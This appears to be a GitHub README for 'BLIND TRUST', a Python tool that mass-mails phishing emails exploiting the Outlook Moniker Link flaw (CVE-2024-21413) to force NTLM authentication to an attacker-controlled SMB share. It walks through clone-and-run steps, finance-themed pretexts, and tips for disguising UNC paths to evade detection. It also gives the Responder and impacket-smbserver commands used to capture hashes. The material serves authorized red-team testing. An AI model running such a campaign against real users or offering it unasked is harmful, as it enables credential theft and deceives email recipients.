
A security research tool for simulating targeted phishing campaigns using CVE-2024-21413 (Moniker Link).
A security research tool for simulating targeted phishing campaigns using the CVE-2024-21413 Moniker Link vulnerability. Designed for authorized red team operations, penetration testing, and security awareness training.
BLIND TRUST is a phishing engagement framework that helps security teams understand and test their defenses against sophisticated email-based attacks. It leverages the Moniker Link technique to bypass Outlook's Protected View, providing a realistic attack simulation that organizations can use to strengthen their security posture.
This tool automates the end-to-end campaign workflow—from configuration through email delivery—while maintaining operational security through customizable UNC paths and flexible pretext options.
Organizations need to understand real attack techniques to defend effectively. TRUST enables:
.txt files# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST
# Run the tool
python3 TRUST_v7.py
The tool uses only Python standard library modules:
getpass - Secure password input
html - HTML escaping
ipaddress - IP address validation
logging - Structured logging
os - File operations
re - Regular expressions
signal - Signal handling
smtplib - SMTP email protocol
sys - System utilities
time - Time operations
dataclasses - Configuration modeling
email - MIME email construction
typing - Type hints
No external packages required—runs anywhere with Python 3.7+.
python3 TRUST_v7.py
Follow the interactive wizard through 5 steps:
Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]
Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.
UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024
Create targets.txt:
# Finance Department
[email protected]
[email protected]
[email protected]
# Accounting
[email protected]
[email protected]
Then run:
Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt
Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.
UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report
Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report
Two options:
.txt file with one email per line, comments starting with #This is where you avoid obvious signatures:
finance-internal.company.com) instead of just an IPquarterly, updates, documentsq3_report, security_patch, training_documentResult: Instead of the obvious \\192.168.1.100\share!exploit, you get something like file://finance-internal.company.com/quarterly!q3_report.
Start
↓
[STEP 1] Prompt for attacker email and SMTP password
↓
[STEP 2] Prompt for SMB listener IP
↓
[STEP 3] Load target emails (file or input)
↓
↓→ For each target:
│ - Validate email format
│ - Check for duplicates
│
[STEP 4] Prompt for email pretext
│ - Subject, From name, body text
│
[STEP 5] Prompt for UNC path customization
│ - Host, share, exploit name
│
↓
[BUILD] Construct configuration object
↓
[VALIDATE] Check all fields are present and valid
↓
[SUMMARY] Display pre-send summary for review
↓
[CONFIRM] User approves or cancels
↓
[SEND] For each target:
│ - Build MIME email with custom Moniker Link
│ - Attempt SMTP delivery with retry logic
│ - Log per-target success/failure
│
↓
[REPORT] Display campaign results (delivered vs failed)
↓
Exit
CVE-2024-21413 (Moniker Link) is an Outlook vulnerability that allows embedding file:// URLs with a ! character. When a user clicks such a link, Outlook attempts to access the UNC path, triggering an NTLM authentication attempt even in Protected View mode.
\\host\share!exploit! character bypasses Protected ViewTRUST automates the delivery phase:
Solution: Verify SMTP credentials. For Gmail, use an app-specific password. For corporate mail, check with your SMTP administrator.
Solution: Normal for some SMTP servers. The connection will proceed without TLS encryption.
Solution: Ensure emails in wordlist files are complete and valid format ([email protected]).
Solution: The email address doesn't exist on the target server, or the server is blocking relay from your account.
Solution: Verify the file path is correct and the file exists in your current directory.
Q: Is this tool legal to use? A: Only with explicit written authorization from the organization you're testing. Unauthorized phishing is illegal. Always have a scope of work and rules of engagement in writing.
Q: Can this bypass advanced email filters? A: It's a realistic simulation, but modern email security may still catch it. That's the point—if your organization's filters fail against this, you have a problem to solve.
Q: Why customize the UNC path?
A: The original \\IP\share!exploit is a dead giveaway. Real attackers use realistic paths. Your security team should catch both obvious and subtle indicators.
Q: Can I use this for training employees? A: Yes. After authorized testing, use sanitized campaign examples in security awareness training to show employees real attack techniques.
Q: Does this capture credentials? A: No. TRUST only delivers the email. You need a separate SMB listener (Responder, impacket-smbserver, etc.) to capture NTLM hashes when targets click the link.
Q: How do I set up an SMB listener? A: Use Responder on Linux or impacket-smbserver:
# Responder (captures hashes)
sudo responder -i eth0 -v
# impacket-smbserver (file server simulation)
impacket-smbserver Share /tmp -smb2support
This tool is for authorized security testing only.
By using TRUST, you acknowledge that you understand the legal implications and have proper authorization.
This project is released under the MIT License with the addition of a usage restriction. See LICENSE for details.
This project is based on and inspired by the original CVE-2024-21413 research and implementation by CMNatic (https://github.com/cmnatic).
CMNatic deserves full credit for:
This repository represents a modified and extended version of that work, with enhancements including:
See CREDITS.md for more detailed attribution.
H1SS - Extended and maintained this version for security research and authorized testing purposes.
Contributions are welcome. Please ensure any changes:
See CONTRIBUTING.md for guidelines.
For issues, questions, or suggestions, open an issue on GitHub.
Remember: This tool is a research project. Use responsibly, legally, and ethically.